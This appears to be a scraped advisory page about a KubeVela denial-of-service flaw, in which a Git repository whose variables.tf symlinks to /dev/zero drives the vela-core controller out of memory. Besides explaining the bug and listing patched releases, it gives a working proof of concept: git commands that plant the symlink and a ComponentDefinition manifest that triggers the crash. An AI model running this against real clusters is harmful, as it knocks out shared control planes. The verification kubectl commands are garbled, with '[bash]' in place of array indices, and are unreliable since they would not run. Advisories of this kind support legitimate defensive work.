Listen to this Post
KubeVela’s Terraform remote configuration loader is vulnerable to a denial-of-service (DoS) attack. The `vela-core` controller can be forced to read an unbounded byte stream into memory, leading to an out-of-memory (OOM) kill and a control-plane outage.
The vulnerability is triggered when a user with `create` or `update` permissions on a `core.oam.dev/v1beta1 ComponentDefinition` registers a Terraform `remote` schematic pointing to a malicious or compromised Git repository. This repository can contain a `variables.tf` symlink that resolves to /dev/zero. The `vela-core` controller follows this symlink and calls `os.ReadFile` on it before any HCL parsing occurs. Since reading from `/dev/zero` produces an endless stream of null bytes, memory consumption grows until the controller is killed by the OOM killer.
The flawed logic resides in `pkg/controller/utils/capability.go` within the `GetTerraformConfigurationFromRemote` function. The controller clones the user-supplied repository and then reads `variables.tf` or `main.tf` from the checkout. The code does not verify if the target is a regular file, if the resolved path remains inside the clone cache, or how large the file is before reading it. Both `os.Stat` and `os.ReadFile` follow symlinks, allowing the path to resolve to /dev/zero. The failure occurs before the content reaches HCL parsing, preventing any later validation from stopping the OOM.
This vulnerability also has a path-traversal aspect, as symlinks and the `terraform.path` field can potentially read files outside the intended repository. However, the primary impact is availability, as the unbounded read in `os.ReadFile` occurs before any data is written to a ConfigMap.
DailyCVE Form:
Platform: KubeVela
Version: <=1.9.13, <=1.10.8
Vulnerability: DoS (OOM)
Severity: Medium
Date: 2026-07-03
Prediction: 2026-07-03
What Undercode Say:
The fix for this vulnerability introduces several key controls:
– Bounded Clone: The Git clone operation is limited to a shallow depth of 1 and a 2-minute fetch timeout.
– File Size Cap: A 64 MiB cap is enforced on the file size before reading.
– File Count Cap: Limits are placed on the number of files processed.
– Validation: The code now validates that the target is a regular file and that the resolved path remains inside the clone cache.
– Symlink Rejection: Symlinks are explicitly rejected.
– Cache Invalidation: The cache is invalidated on URL changes and cleaned up on rejected reads.
Commands to verify the fix:
Check the version of vela-core
kubectl get deployment -n vela-system vela-core -o jsonpath='{.spec.template.spec.containers[bash].image}'
Check pod status for OOMKilled events
kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core -o jsonpath='{.items[bash].status.containerStatuses[bash].lastState.terminated}'
Exploit: (Educational Purposes!)
To reproduce this vulnerability, an attacker would need:
1. Create a malicious Git repository.
- In the repository root, create a relative symlink named `variables.tf` that resolves to `/dev/zero` after checkout:
git init poc-tf-dos && cd poc-tf-dos ln -s ../../../../../../dev/zero variables.tf git add variables.tf && git commit -m "poc" git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git git push -u origin main
- Create a `ComponentDefinition` that uses this repository as a Terraform remote schematic:
apiVersion: core.oam.dev/v1beta1 kind: ComponentDefinition metadata: name: dos-tf namespace: vela-system spec: workload: definition: apiVersion: apps/v1 kind: Deployment schematic: terraform: type: remote configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git path: ""
- Apply the manifest. The `vela-core` controller will clone the repository, follow the symlink to
/dev/zero, and read an endless stream of data until it is OOMKilled.
Protection
To protect against this CVE, you must upgrade KubeVela to a patched version. The fix is included in the following releases:
– v1.9.14
– v1.10.9
– v1.11.0-alpha.4
Impact
This is a denial-of-service vulnerability affecting the KubeVela control plane’s availability. A user with permissions to create or update `ComponentDefinition` objects can cause the cluster-wide `vela-core` controller to be repeatedly OOM killed. If `vela-core` has a memory limit, the impact is contained to restarts of the controller Pod. However, if no effective memory limit is configured, the unbounded read can pressure node memory and affect other workloads running on the same node.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
